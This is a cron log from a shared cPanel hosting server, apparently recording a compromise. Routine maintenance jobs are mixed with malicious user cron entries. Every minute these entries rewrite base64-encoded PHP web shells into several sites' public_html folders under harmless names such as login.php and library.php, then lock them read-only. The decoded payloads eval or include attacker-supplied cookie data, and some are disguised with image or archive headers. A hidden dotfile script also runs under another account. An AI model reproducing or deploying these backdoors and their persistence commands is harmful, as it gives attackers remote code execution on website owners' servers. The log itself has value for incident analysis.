Mar  2 00:13:02 medusa CROND[28482]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:13:02 medusa CROND[28486]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:13:02 medusa CROND[28489]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 00:13:02 medusa CROND[28491]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:14:01 medusa CROND[2080]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:14:01 medusa CROND[2081]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:14:01 medusa CROND[2082]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:14:01 medusa CROND[2083]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:14:01 medusa CROND[2085]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:14:01 medusa CROND[2084]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:14:01 medusa CROND[2087]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 00:14:01 medusa CROND[2088]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:14:01 medusa CROND[2089]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:14:01 medusa CROND[2090]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:14:01 medusa CROND[2092]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:14:01 medusa CROND[2094]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:14:01 medusa CROND[2096]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 00:15:02 medusa CROND[7451]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 00:15:02 medusa CROND[7507]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 00:15:02 medusa CROND[7627]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 00:15:02 medusa CROND[7628]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 00:15:02 medusa CROND[7629]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 00:15:02 medusa CROND[7630]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:15:02 medusa CROND[7631]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:15:02 medusa CROND[7637]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:15:02 medusa CROND[7641]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 00:15:02 medusa CROND[7643]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:15:02 medusa CROND[7636]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 00:15:02 medusa CROND[7640]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Mar  2 00:15:02 medusa CROND[7649]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:15:02 medusa CROND[7655]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:15:02 medusa CROND[7656]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:15:02 medusa CROND[7657]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:15:02 medusa CROND[7660]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 00:15:02 medusa CROND[7664]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Mar  2 00:15:02 medusa CROND[7650]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 00:15:02 medusa CROND[7670]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 00:15:02 medusa CROND[7676]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 00:15:02 medusa CROND[7654]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
